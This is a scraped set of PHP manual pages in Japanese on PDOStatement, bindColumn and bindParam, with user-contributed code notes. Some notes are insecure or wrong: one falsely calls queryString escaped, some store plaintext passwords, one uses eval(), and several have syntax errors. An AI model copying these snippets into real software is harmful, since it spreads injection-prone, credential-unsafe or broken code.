  Matthias


PDOStatement クラス

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 1.0.0)

はじめに

プリペアドステートメントを表します。ステートメント実行後は関連する結果セットを表します。

クラス概要

PDOStatement implements Traversable {
/* プロパティ */
readonly string $queryString;
/* メソッド */
public bindColumn ( mixed $column , mixed &$param , int $type = ? , int $maxlen = ? , mixed $driverdata = ? ) : bool
public bindParam ( mixed $parameter , mixed &$variable , int $data_type = PDO::PARAM_STR , int $length = ? , mixed $driver_options = ? ) : bool
public bindValue ( mixed $parameter , mixed $value , int $data_type = PDO::PARAM_STR ) : bool
public closeCursor ( ) : bool
public columnCount ( ) : int
public debugDumpParams ( ) : void
public errorCode ( ) : string
public errorInfo ( ) : array
public execute ( array $input_parameters = null ) : bool
public fetch ( int $fetch_style = ? , int $cursor_orientation = PDO::FETCH_ORI_NEXT , int $cursor_offset = 0 ) : mixed
public fetchAll ( int $fetch_style = ? , mixed $fetch_argument = ? , array $ctor_args = array() ) : array|false
public fetchColumn ( int $column_number = 0 ) : mixed
public fetchObject ( string $class_name = "stdClass" , array $ctor_args = ? ) : object|false
public getAttribute ( int $attribute ) : mixed
public getColumnMeta ( int $column ) : array
public nextRowset ( ) : bool
public rowCount ( ) : int
public setAttribute ( int $attribute , mixed $value ) : bool
public setFetchMode ( int $mode ) : bool
}

プロパティ

queryString

使ったクエリ文字列。

目次

  • PDOStatement::bindColumn — カラムを PHP 変数にバインドする
  • PDOStatement::bindParam — 指定された変数名にパラメータをバインドする
  • PDOStatement::bindValue — 値をパラメータにバインドする
  • PDOStatement::closeCursor — カーソルを閉じてステートメントを再実行できるようにする
  • PDOStatement::columnCount — 結果セット中のカラム数を返す
  • PDOStatement::debugDumpParams — SQL プリペアドコマンドを出力する
  • PDOStatement::errorCode — 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDOStatement::errorInfo — 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する
  • PDOStatement::execute — プリペアドステートメントを実行する
  • PDOStatement::fetch — 結果セットから次の行を取得する
  • PDOStatement::fetchAll — 全ての結果行を含む配列を返す
  • PDOStatement::fetchColumn — 結果セットの次行から単一カラムを返す
  • PDOStatement::fetchObject — 次の行を取得し、それをオブジェクトとして返す
  • PDOStatement::getAttribute — 文の属性を取得する
  • PDOStatement::getColumnMeta — 結果セットのカラムに対するメタデータを返す
  • PDOStatement::nextRowset — 複数の行セットを返す文ハンドラで次の行セットに移動する
  • PDOStatement::rowCount — 直近の SQL ステートメントによって作用した行数を返す
  • PDOStatement::setAttribute — 文の属性を設定する
  • PDOStatement::setFetchMode — この文に対するデフォルトのフェッチモードを設定する

User Contributed Notes

nmurzin at mail dot ru 09-Dec-2020 08:22
I think I found a way to execute a protected SQL query and at the same time find out the number of affected records.
I have the table 'tbl_users' with the following fields: id, login, password, age

<?
const DB_DRIVER = "mysql";
const DB_HOST = "localhost";
const DB_NAME = "my_db_name";
const DB_LOGIN = "root";
const DB_PASS = "root"; //OpenServer.

$connectionString = DB_DRIVER.':host='.DB_HOST.';dbname='.DB_NAME;
try
{
    //Connect to database.
    $db = new PDO($connectionString, DB_LOGIN, DB_PASS);
}
catch(PDOException $e)
{
    die("Error: ".$e->getMessage());
}
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try
{

    //Decreasing age for user 'nick1'.
    $prep1 = $db->prepare("UPDATE tbl_users SET age=age-1 WHERE login='nick1'");

    //Increasing age for user 'nick2'.
    $prep2 = $db->prepare("UPDATE tbl_users SET \r\n age=age+1 WHERE login='nick2'");

    //Start transaction.
    $db->beginTransaction(); //Table type must be InnerDB!

    //We assume that everything will be fine.
    $flagDone = true;

    //The exec() method returns the number of rows affected by the query.
    //$prep1->queryString is already an escaped SQL string.
    $result = $db->exec($prep1->queryString);
    if($result==false || $result!=1) //var_dump($result) - int(1) or bool(false).
        $flagDone = false;

    $result = $db->exec($prep2->queryString);
    if($result==false || $result!=1)
        $flagDone = false;

    if($flagDone)
    {
        if($db->commit())
            echo "Transaction was successful";
    }
    else{
            echo "Transaction fail";
            $db->rollback();
    }
    echo "<br>";

}
catch(PDOException $e)
{
    die("Error: ".$e->getMessage());
}
Example 16-May-2018 03:30
1.- Conectar a la base de datos usando try/catch.
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $user, $pass");

2.- Preparar la consulta (insert,update,delete).
2.1.- Preparar la consulta:
    $stmt = $pdo->prepare("INSERT INTO alumnos( nombre, apellidos) values ( 'Taylor','Swift' )");
    $stmt = $pdo->prepare("INSERT INTO colegas (name, addr, city) values (?, ?, ?)");
    $stmt = $pdo->prepare("INSERT INTO colegas (name, addr, city) value (:name, :addr, :city)");

2.2.- Asignar parametros en la consulta:
    $stmt->bindParam(':name', $name);
    $name='Pepito';

    $datos = array('Cathy', '9 Dark and Twisty Road', 'Cardiff');
    $stmt = $pdo->prepare("INSERT INTO colegas (name, addr, city) values (?, ?, ?)");

    $datos = array( 'name' => 'Cathy', 'addr' => '9 Dark and Twisty', 'city' => 'Cardiff' );
    $stmt = $pdo->prepare("INSERT INTO colegas (name, addr, city) value (:name, :addr, :city)");

2.3.- Ejecutar la consulta
try{
    $stmt->execute();

        // o bien
    $stmt->execute($datos);
}
catch(PDOException $err)
{
   // Mostramos un mensaje generico de error.
   echo "Error: ejecutando consulta SQL.";
}

2.- Preparar la consulta (select).
2.1.- Preparar la consulta:
try{
       // ATENCION: si no tenemos parametros en la consulta, la podemos ejecutar con ->query (recomendable en SELECT) o con ->exec (para INSERT, UDPATE, DELETE)
    $stmt = $pdo->query('SELECT name, addr, city from colegas');
}
catch(PDOException $err)
{
   // Mostramos un mensaje generico de error.
   echo "Error: ejecutando consulta SQL.";
}

$stmt = $pdo->prepare('SELECT name, addr, city from colegas where city =:ciudad'); (con parametros)
$datos = array( ':ciudad' => 'Santiago');

try{
    $stmt->execute($datos);
}
catch(PDOException $err)
{
   // Mostramos un mensaje generico de error.
   echo "Error: ejecutando consulta SQL.";
}

2.2.- Leemos los datos del recordset (conjunto de registros) que nos devuelve SELECT en el objeto PDOStatement.

2.2.1.- Se puede leer cada fila del recordset con ->fetch() del objeto PDOStatement o mediante ->fetchAll() (obtiene todas las filas del recordset).
'''Este bloque de codigo lo ejecutaremos dentro de la seccion try { ..... }'''

    while($row = $stmt->fetch()) {
        echo $row['name'] . "<br/>";
        echo $row['addr'] . "<br/>";
        echo $row['city'] . "<br/>";
    }

    $row = $sql->fetchAll();
    foreach($data as $row)
        $id = $row['id'];
        $content = $row['content'];
    }

3.- Cerrar la conexion.
    // Liberamos los recursos utilizados por el recordset $stmt
    $stmt=null;

    // Se recomienda cerrar la conexion para liberar recursos de forma mas rapida.
    $pdo = null;
code4fun at gmail dot com 13-May-2018 06:19
Example of persist in bd

public function persist($dbh) {
        if ($this->id) {//Update
            $modificar = 'UPDATE usuarios set nombre = :nombre ,pass = :pass'
                    . '    WHERE id = :id';
            $persistir = $dbh->prepare($modificar);
            $persistido = $persistir->execute(array(':nombre' => $this->getNombre(), ':pass' => $this->getPass(), ':id' => $this->getId()));
        } else {
            $insert = 'INSERT INTO usuarios (nombre,pass) VALUES (:nombre,:pass)';
            $persistir = $dbh->prepare($insert);
            $persistido = $persistir->execute(array('nombre' => $this->getNombre(), 'pass' => $this->getPass()));
            if ($persistido) {
                $this->setId($dbh->lastInsertId());
            } else {
                throw new Exception;
            }
        }
        return $persistido;
    }

//Example of select

    public function getCredencial($dbh) {
        $select = "SELECT * FROM usuarios WHERE nombre= :user AND pass= :pass";
        $consulta = $dbh->prepare($select);
        $consulta->setFetchMode(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Usuario");
        $consulta->execute(array(":user" => $this->nombre, ":pass" => $this->pass));
        $logueado = $consulta->fetch();
        return $logueado;
    }

//Example of select all
 public static function getAll($bd, $id) {
        $query = 'SELECT * FROM `cuentas` WHERE idUsuario = :idUsuario';
        $prepare = $bd->prepare($query);
        $prepare->setFetchMode(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'Movimiento');
        $prepare->execute(array(':idUsuario' => $id));
        $movimientos = $prepare->fetchAll();
        return $movimientos;
    }

//Example of delete

public function eliminar($dbh,$id) {
        $sql = 'DELETE FROM alumnos '
                . 'WHERE id = :id';
        $stmt = $dbh->prepare($sql);
        $stmt->bindValue(':id', $id);

        $stmt->execute();

        return $stmt->rowCount();
    }
code4fun at gmail dot com 13-May-2018 06:18
Example of persist in bd

public function persist($dbh) {
        if ($this->id) {//Update
            $modificar = 'UPDATE usuarios set nombre = :nombre ,pass = :pass'
                    . '    WHERE id = :id';
            $persistir = $dbh->prepare($modificar);
            $persistido = $persistir->execute(array(':nombre' => $this->getNombre(), ':pass' => $this->getPass(), ':id' => $this->getId()));
        } else {
            $insert = 'INSERT INTO usuarios (nombre,pass) VALUES (:nombre,:pass)';
            $persistir = $dbh->prepare($insert);
            $persistido = $persistir->execute(array('nombre' => $this->getNombre(), 'pass' => $this->getPass()));
            if ($persistido) {
                $this->setId($dbh->lastInsertId());
            } else {
                throw new Exception;
            }
        }
        return $persistido;
    }

//Example of select

    public function getCredencial($dbh) {
        $select = "SELECT * FROM usuarios WHERE nombre= :user AND pass= :pass";
        $consulta = $dbh->prepare($select);
        $consulta->setFetchMode(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Usuario");
        $consulta->execute(array(":user" => $this->nombre, ":pass" => $this->pass));
        $logueado = $consulta->fetch();
        return $logueado;
    }

//Example of select all
 public static function getAll($bd, $id) {
        $query = 'SELECT * FROM `cuentas` WHERE idUsuario = :idUsuario';
        $prepare = $bd->prepare($query);
        $prepare->setFetchMode(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'Movimiento');
        $prepare->execute(array(':idUsuario' => $id));
        $movimientos = $prepare->fetchAll();
        return $movimientos;
    }

//Example of delete

public function eliminar($dbh,$id) {
        $sql = 'DELETE FROM alumnos '
                . 'WHERE id = :id';
        $stmt = $dbh->prepare($sql);
        $stmt->bindValue(':id', $id);

        $stmt->execute();

        return $stmt->rowCount();
    }
Gino D. 17-Oct-2017 10:01
I don't know why PDOStatement don't return "execution time" and "found rows" so here I created an extended class of PDOStatement with these attributes.

Just have to "setAttribute" of PDO's object to $PDO->setAttribute(\PDO::ATTR_STATEMENT_CLASS , ['\customs\PDOStatement', [&$this]]);

<?php

/**
*
*
*
*/

namespace customs;

/**
*
*
*
*/

final class PDOStatement extends \PDOStatement {

    /**
    *
    *
    *
    */

    protected $PDO = null;
    protected $inputParams = [];
    protected $executionTime = 0;
    protected $resultCount = 0;

    /**
    *
    *
    *
    */

    protected function __construct(PDO &$PDO) {
        $this->PDO = $PDO;
        $this->executionTime = microtime(true);
    }

    /**
    *
    *
    *
    */

    final public function getExecutionError(int $i = 2) {
        $executionError = $this->errorInfo();

        if (isset($executionError[$i]))
            return $executionError[$i];

        return $executionError;
    }

    /**
    *
    *
    *
    */

    final public function getExecutionTime($numberFormat = false, $decPoint = '.', $thousandsSep = ',') {
        if (is_numeric($numberFormat))
            return number_format($this->executionTime, $numberFormat, $decPoint, $thousandsSep);

        return $this->executionTime;
    }

    /**
    *
    *
    *
    */

    final public function getResultCount($numberFormat = false, $decPoint = '.', $thousandsSep = ',') {
        if (is_numeric($numberFormat))
            return number_format($this->resultCount, $numberFormat, $decPoint, $thousandsSep);

        return $this->resultCount;
    }

    /**
    *
    *
    *
    */

    final public function getLastInsertId() {
        return $this->PDO->lastInsertId();
    }

    /**
    *
    *
    *
    */

    final public function bindValues(array $inputParams) {
        foreach ($this->inputParams = array_values($inputParams) as $i => $value) {
            $varType = is_null($value) ? \PDO::PARAM_NULL : is_bool($value) ? \PDO::PARAM_BOOL : is_int($value) ? \PDO::PARAM_INT : \PDO::PARAM_STR;

            if (!$this->bindValue(++ $i, $value, $varType))
                return false;
        }

        return true;
    }

    /**
    *
    *
    *
    */

    final public function execute($inputParams = null) {
        if ($inputParams)
            $this->inputParams = $inputParams;

        if ($executed = parent::execute($inputParams))
            $this->executionTime = microtime(true) - $this->executionTime;

        return $executed;
    }

    /**
    *
    *
    *
    */

    final public function fetchAll($how = null, $className = null, $ctorArgs = null) {
        $resultSet = parent::fetchAll(... func_get_args());

        if (!empty($resultSet)) {
            $queryString = $this->queryString;
            $inputParams = $this->inputParams;

            if (preg_match('/(.*)?LIMIT/is', $queryString, $match))
                $queryString = $match[1];

            $queryString = sprintf('SELECT COUNT(*) AS T FROM (%s) DT', $queryString);

            if (($placeholders = substr_count($queryString, '?')) < count($inputParams))
                $inputParams = array_slice($inputParams, 0, $placeholders);

            if (($sth = $this->PDO->prepare($queryString)) && $sth->bindValues($inputParams) && $sth->execute())
                $this->resultCount = $sth->fetchColumn();

            $sth = null;
        }

        return $resultSet;
    }
}
?>
luis-m-cardoso at ext dot ptinovacao dot pt 16-Sep-2013 02:53
Solved ;)

<?php

$host = "yourHost";
$user = "yourUser";
$pass = "yourPass";
$db = "yourDB";

$cursor = "cr_123456";

try
{
  $dbh = new PDO("pgsql:host=$host;port=5432;dbname=$db;user=$user;password=$pass");
  echo "Connected<p>";
}
catch (Exception $e)
{
  echo "Unable to connect: " . $e->getMessage() ."<p>";
}

$dbh->beginTransaction();

$query = "SELECT yourFunction(0::smallint,'2013-08-01 00:00','2013-09-01 00:00',1::smallint,'$cursor')";

$dbh->query($query);

$query = "FETCH ALL IN \"$cursor\"";

echo "begin data<p>";

foreach ($dbh->query($query) as $row)
{
    echo "$row[0] $row[1] $row[2] <br>";
}

echo "end data";

?>
rosko at zeta dot org dot au 02-Dec-2009 05:50
There are many references around for returning a refcursor from a pgSQL function using pg_query. All essentially boil down to executing the following single statement (or some variation of it):

 begin; select yourFunction(params...); fetch all in cursorname; commit;

In PDO, this doesn't work because PDO won't allow multiple statements submitted as a single statement (due to SQL injection detection). Instead, try this or similar:

<?php
$sql = 'select yourFunction(params...)';
$db = new PDO('pgsql:dbname=yourDBname');
$db->beginTransaction();
$cmd = $db->prepare($sql);
if ($cmd->execute()) {
  if ($query = $db->query('fetch all in cursorname')) {
    ...processing...
    $query->closeCursor();
    $cmd->closeCursor();
  }
}
$db->commit();
?>


カラムを PHP 変数にバインドする

  • ≪ PDOStatement
  • PDOStatement::bindParam ≫
  • PHP Manual
  • PDOStatement
  • カラムを PHP 変数にバインドする

PDOStatement::bindColumn

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::bindColumn — カラムを PHP 変数にバインドする

説明

public PDOStatement::bindColumn ( mixed $column , mixed &$param , int $type = ? , int $maxlen = ? , mixed $driverdata = ? ) : bool

PDOStatement::bindColumn() は、 クエリからの結果セット中にあるカラムにバインドされた特定の値を 取得するための準備をします。 PDOStatement::fetch() もしくは PDOStatement::fetchAll() がコールされる度に、カラムにバインドされた全ての変数は更新されます。

注意:

カラムに関する情報はステートメントが実行されるまで常に PDO から利用できないため、移植可能なアプリケーションでは PDOStatement::execute(). の 後に この関数をコールするようにしてください。

しかし、LOB カラムをストリームにバインドする際に PgSQL ドライバ を使用するときには、 このメソッドを PDOStatement::execute() の 前に コールしなければなりません。 そうしないと、ラージオブジェクトの OID が integer で返されます。

パラメータ

column

結果セット中のカラム番号 (1 から始まる) を指定します。 カラム名を使用する場合、 ドライバによって返されるカラムの大文字小文字が一致する必要が あることをご承知おきください。

param

カラムがバインドされる PHP 変数名を指定します。

type

パラメータのデータ型を PDO::PARAM_* 定数 で指定します。

maxlen

領域を事前に確保するためのヒント。

driverdata

ドライバのオプションパラメータ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 バインドした結果セットを PHP 変数に出力する

PHP 変数にバインドしている結果セットのカラムは、 アプリケーションで利用可能な各行に含まれるデータを作成するための 効果的な方法です。 以下のサンプルは、どうやって PDO が様々なオプションやを理にかなったデフォルト値を用いて カラムをバインド、取得するかを例示しています。

<?php
$stmt = $dbh->prepare('SELECT name, colour, calories FROM fruit');
$stmt->execute();

/* カラム番号によってバインドする */
$stmt->bindColumn(1, $name);
$stmt->bindColumn(2, $colour);

/* カラム名によってバインドする */
$stmt->bindColumn('calories', $cals);

while ($stmt->fetch(PDO::FETCH_BOUND)) {
    print $name . "\t" . $colour . "\t" . $cals . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

apple   red     150
banana  yellow  175
kiwi    green   75
orange  orange  150
mango   red     200
strawberry      red     25

参考

  • PDOStatement::execute() - プリペアドステートメントを実行する
  • PDOStatement::fetch() - 結果セットから次の行を取得する
  • PDOStatement::fetchAll() - 全ての結果行を含む配列を返す
  • PDOStatement::fetchColumn() - 結果セットの次行から単一カラムを返す

User Contributed Notes

Moses Blumenstiel 05-Jan-2021 05:34
I wanted to efficiently bind columns and then put everything into one array.

<?php

        $columns = array(
            'DEVICE_CONFIG' => '',
            'CONSUMABLE_INFO' => '',
            'DEVICE_UNIQUE_ID' => '',
            'STATUS' => '',
            'STATUS_MESSAGE' => '',
            'LAST_MESSAGE_TIME' => '',
            'DEVICE_DESCRIPTION' => ''
        );

        $statement = $this->connection->prepare($sql);

        $statement->execute();

        $x = 1;
        foreach($columns as $column => $index){
            $$column = $index;
            eval('$statement->bindColumn(' . $x++ . ', $' . $column . ');');
        }

        $output= array();
        while($statement->fetch(\PDO::FETCH_BOUND)){
            $temp = array();
            foreach($columns as $columnName => $val){
                eval("\$data = \$$columnName;");
                $temp[$columnName] = $data;
            }
            $output[] = $temp;
        }
?>


指定された変数名にパラメータをバインドする

  • ≪ PDOStatement::bindColumn
  • PDOStatement::bindValue ≫
  • PHP Manual
  • PDOStatement
  • 指定された変数名にパラメータをバインドする

PDOStatement::bindParam

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::bindParam — 指定された変数名にパラメータをバインドする

説明

public PDOStatement::bindParam ( mixed $parameter , mixed &$variable , int $data_type = PDO::PARAM_STR , int $length = ? , mixed $driver_options = ? ) : bool

準備された SQL ステートメント中で、 対応する名前もしくは疑問符プレースホルダにパラメータをバインドします。 PDOStatement::bindValue() と異なり、 変数は参照としてバインドされ、PDOStatement::execute() がコールされたときのみ評価されます。

ほとんどのパラメータは入力パラメータです。つまり、クエリを構築する際、 パラメータは読み込み専用で使用されます(とはいえ、 data_type によってはキャストされる可能性もあります)。 いくつかのドライバは、出力パラメータとしてデータを返す ストアドプロシージャの実行をサポートしており、 またいくつかのドライバは、データを渡し更新された値を受け取る、 といった入出力パラメータもサポートしています。

パラメータ

parameter

パラメータ ID を指定します。名前付けされたプレースホルダを使った文に 対しては、:name 形式のパラメータ名となります。 疑問符プレースホルダを使った文に対しては、1 から始まるパラメータの 位置となります。

variable

SQL ステートメントパラメータにバインドする PHP 変数名を指定します。

data_type

パラメータに対して PDO::PARAM_* 定数 を使った明示的なデータ型を指定します。 ストアドプロシージャからの INOUT パラメータの場合、 data_type パラメータに PDO::PARAM_INPUT_OUTPUT ビットを設定するためにビット OR を使用してください。

length

データ型の長さを指定します。パラメータがストアドプロシージャからの OUT パラメータであることを示す場合、 明示的に長さを設定しなければなりません。

driver_options

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 名前付けされたプレースホルダを用いてプリペアドステートメントを実行する

<?php
/* バインドされた PHP 変数によってプリペアドステートメントを実行する */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

例2 疑問符プレースホルダを用いてプリペアドステートメントを実行する

<?php
/* バインドされた PHP 変数によってプリペアドステートメントを実行する */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

例3 INOUT パラメータを持つストアドプロシージャをコールする

<?php
/* INOUT パラメータを持つストアドプロシージャをコールする */
$colour = 'red';
$sth = $dbh->prepare('CALL puree_fruit(?)');
$sth->bindParam(1, $colour, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 12);
$sth->execute();
print("After pureeing fruit, the colour is: $colour");
?>

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::execute() - プリペアドステートメントを実行する
  • PDOStatement::bindValue() - 値をパラメータにバインドする

User Contributed Notes

Tristen Edwin 14-Jul-2018 09:41
Here's how to build a dynamic WHERE LIKE at run time when the user can submit n keywords

<?php

if (array_key_exists('storyPieces', $_POST)) {
    $story_pieces = explode(',' $_POST['storyPieces']);
        foreach($story_pieces as $piece) {
        if ($conditional_count == 0) {
            $where_clause .= 'story LIKE ? ';
            $conditional_count++;
       } else {
            $where_clause .= 'AND story LIKE ? ';
            $conditional_count++;
       }
       }
}

// then after you've prepared

if (isset($story_pieces)) {
    foreach($story_pieces as $key => &$piece) {
        $piece = "%" . $piece . "%";
        $sth->bindParam($key + 1, $piece, PDO::PARAM_STR);
    }
}

?>
Ejaz Ansari 11-Mar-2016 03:40
For those who are confused on insert query using PDO-bindparam:

$sql = $db->prepare("INSERT INTO db_fruit (id, type, colour) VALUES (? ,? ,?)");

$sql->bindParam(1, $newId);
$sql->bindParam(2, $name);
$sql->bindParam(3, $colour);
$sql->execute();
heather dot begazo at gmail dot com 09-Apr-2015 05:56
The documentation says this about the length parameter for bindParam:

"To indicate that a parameter is an OUT parameter from a stored procedure, you must explicitly set the length. "

For db2, I found that setting the length for the "INPUT_OUTPUT" parameters causes a problem for varchar parameters that are input parameters.  The problem I found is that the stored procedure was called, but varchar input parameters were set to null inside my stored procedure and as a result, the stored procedure could not work properly.

Here is the signature for my stored procedure:

CREATE OR REPLACE PROCEDURE MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME ( IN RUN_ID INTEGER,IN V_SCHEMA_NAME VARCHAR(128),
  OUT out_rc INTEGER,OUT out_err_message VARCHAR(100),OUT out_sqlstate CHAR(5) ,OUT out_sqlcode INT)

Here is the php code that works:

$command = "Call MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME (?,?,?,?,?,?,?)";
$stmt = $this->GuestDb->prepare($command);
$stmt->bindParam(1, $RUN_ID, PDO::PARAM_INT);
$stmt->bindParam(2, $V_SCHEMA_NAME, PDO::PARAM_STR);
$stmt->bindParam(3, $V_TABNAME, PDO::PARAM_STR);
$stmt->bindParam(4, $out_rc, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(5, $out_err_message, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(6, $out_sqlstate, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(7, $out_sqlcode, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);

Here is the php code that does not work:

$command = "Call MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME (?,?,?,?,?,?,?)";
$stmt = $this->GuestDb->prepare($command);
$stmt->bindParam(1, $RUN_ID, PDO::PARAM_INT,12);
$stmt->bindParam(2, $V_SCHEMA_NAME, PDO::PARAM_STR,128);
$stmt->bindParam(3, $V_TABNAME, PDO::PARAM_STR,100);
$stmt->bindParam(4, $out_rc, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT,12);
$stmt->bindParam(5, $out_err_message, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT,100);
$stmt->bindParam(6, $out_sqlstate, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT,6);
$stmt->bindParam(7, $out_sqlcode, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT,12);
gilhildebrand at gmail dot com 02-Feb-2015 04:50
MySQL will return an error if a named placeholder has a hyphen in it:
UPDATE wardrobe SET `T-Shirt`=:T-SHIRT WHERE id=:id

Will return the following error: PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: parameter was not defined'

To resolve, just remove hyphens from named placeholders:
UPDATE wardrobe SET `T-Shirt`=:TSHIRT WHERE id=:id
Vladimir Kovpak 02-Feb-2015 01:08
<?php
/**
 * Bind bit value:
 */

$sql = 'SELECT * FROM myTable WHERE level & ?';
$sth = \App::pdo()->prepare($sql);
$sth->bindValue(1, 0b0101, \PDO::PARAM_INT);
$sth->execute();
$result = $sth->fetchAll(\PDO::FETCH_ASSOC);
luis dot nestesitio at gmail dot com 11-Dec-2014 10:22
Avoid to use a param with dot like ":table.column".
It will return a error 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: parameter was not defined' in ...
Ofir Attia 19-Jul-2014 06:09
/*
   method for pdo class connection, you can add your cases by    yourself and use it.
*/
class Conn{
....
....
private $stmt;
public function bind($parameter, $value, $var_type = null){
        if (is_null($var_type)) {
            switch (true) {
                               case is_bool($value):
                    $var_type = PDO::PARAM_BOOL;
                    break;
                case is_int($value):
                    $var_type = PDO::PARAM_INT;
                    break;
                case is_null($value):
                    $var_type = PDO::PARAM_NULL;
                    break;
                default:
                    $var_type = PDO::PARAM_STR;
            }
        }
        $this->stmt->bindValue($parameter, $value, $var_type);
    }
pegas1981 at yandex dot ru 16-Dec-2013 11:56
http://technet.microsoft.com/en-us/library/ff628166(v=sql.105).aspx

When binding null data to server columns of type varbinary, binary, or varbinary(max) you should specify binary encoding (PDO::SQLSRV_ENCODING_BINARY) using the $driver_options. See Constants for more information about encoding constants.
Support for PDO was added in version 2.0 of the Microsoft Drivers for PHP for SQL Server.

 <?php
$db = new PDO('sqlsrv:server=SQLSERVERNAME;Database=own_exchange', 'user', 'password');
$sql = "INSERT INTO dbo.files(file_name, file_source) VALUES(:file_name, :file_source)";
$stmt = $db->prepare($sql);
$stmt->bindParam(":file_name", $files->name, PDO::PARAM_STR);
$stmt->bindParam(":file_source", file_get_contents($files->tempName), PDO::PARAM_LOB, 0, PDO::SQLSRV_ENCODING_BINARY);
$stmt->execute();
?>
Mike Robinson 26-Jan-2013 11:56
Note that with bindParam the second parameter is passed by reference. This means that the following will produce a warning if E_STRICT is enabled:

<?php
$stmt->bindParam('type', $object->getType());

// Strict Standards: Only variables should be passed by reference in /path/to/file.php on line 123
?>

If the second parameter is not an actual variable, either set the result of $object->getType(); to a variable and use that variable in bindParam or use bindValue instead.
flannell 21-Aug-2012 12:27
Spent all day banging my head against a brick wall.

Tried to use INOUT or OUT and getting the return variable into PHP using Mysql v5.5.16 on XAMPP.

"MySQL doesn't supporting binding output parameters via its C API.  You must use SQL level variables:"

<?php
$stm = $db->prepare("CALL sp_mysp(:Name, :Email, @sp_result)");

$outputArray = $db->query("select @sp_result")->fetch(PDO::FETCH_ASSOC);
?>

So the 'workaround' for Mysql and PDO is to use two SQL calls.

Hope this helps someone.
khkiley at adamsautomation dot com 20-Aug-2012 09:56
SQL Server 2008 R2

If this was in the documentation, I didn't stumble across it. When using bound output parameters with a stored procedure, the output parameters are updated AFTER the LAST rowset has been processed.

If your stored procedure does not return any rowsets (no SELECT statements) then you are set, your output parameters will be ready as soon as the stored procedure is processed.

Otherwise you need to process the rows, and then:
<?php $stmt->nextRowset(); ?>

Once that is done for each returning rowset you will have access to the output parameters.
cyrylas at gmail dot com 10-Jan-2011 01:23
Please note, that PDO format numbers according to current locale. So if, locale set number format to something else, that standard that query WILL NOT work properly.

For example:
in Polish locale (pl_PL) proper decimal separator is coma (","), so: 123,45, not 123.45. If we try bind 123.45 to the query, we will end up with coma in the query.

<?php
setlocale(LC_ALL, 'pl_PL');
$sth = $dbh->prepare('SELECT name FROM products WHERE price < :price');
$sth->bindParam(':price', 123.45, PDO::PARAM_STR);
$sth->execute();
// result:
// SELECT name FROM products WHERE price < '123,45';
?>
ReK_ 19-Oct-2010 10:59
This confused me for some time because it is never explicitly mentioned, but PDO will automagically encapsulate parameters for you, so a prepared query that is manually escaped like so:

"INSERT INTO table (column) VALUES (':value');"

Will actually end up being double-quoted and can cause problems.
atrandafirc at yahoo dot com 31-Aug-2010 06:37
I know this has been said before but I'll write a note on it too because I think it's important to keep in mind:

If you use PDO bindParam to do a search with a LIKE condition you cannot put the percentages and quotes to the param placeholder '%:keyword%'.

This is WRONG:
"SELECT * FROM `users` WHERE `firstname` LIKE '%:keyword%'";

The CORRECT solution is to leave clean the placeholder like this:
"SELECT * FROM `users` WHERE `firstname` LIKE :keyword";

And then add the percentages to the php variable where you store the keyword:
$keyword = "%".$keyword."%";

And finally the quotes will be automatically added by PDO when executing the query so you don't have to worry about them.

So the full example would be:
<?php
// Get the keyword from query string
$keyword = $_GET['keyword'];
// Prepare the command
$sth = $dbh->prepare('SELECT * FROM `users` WHERE `firstname` LIKE :keyword');
// Put the percentage sing on the keyword
$keyword = "%".$keyword."%";
// Bind the parameter
$sth->bindParam(':keyword', $keyword, PDO::PARAM_STR);
?>
sergiy dot sokolenko at gmail dot com 02-Jul-2010 03:22
Note that you cannot mix named and positional parameters in one query:

<?php
$stmt = $conn->prepare('SELECT * FROM employees WHERE name LIKE :name OR email LIKE ?');
$name = 'John%';
$email = 'john%';

$stmt->bindParam(':name', $name);
$stmt->bindParam(1, $email);

$stmt->execute();
?>

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters' in ...

Running PHP 5.3.2 on Linux x86-64
Vili 28-May-2010 12:01
This works ($val by reference):
<?php
foreach ($params as $key => &$val) {
    $sth->bindParam($key, $val);
}
?>

This will fail ($val by value, because bindParam needs &$variable):
<?php
foreach ($params as $key => $val) {
    $sth->bindParam($key, $val);
}
?>
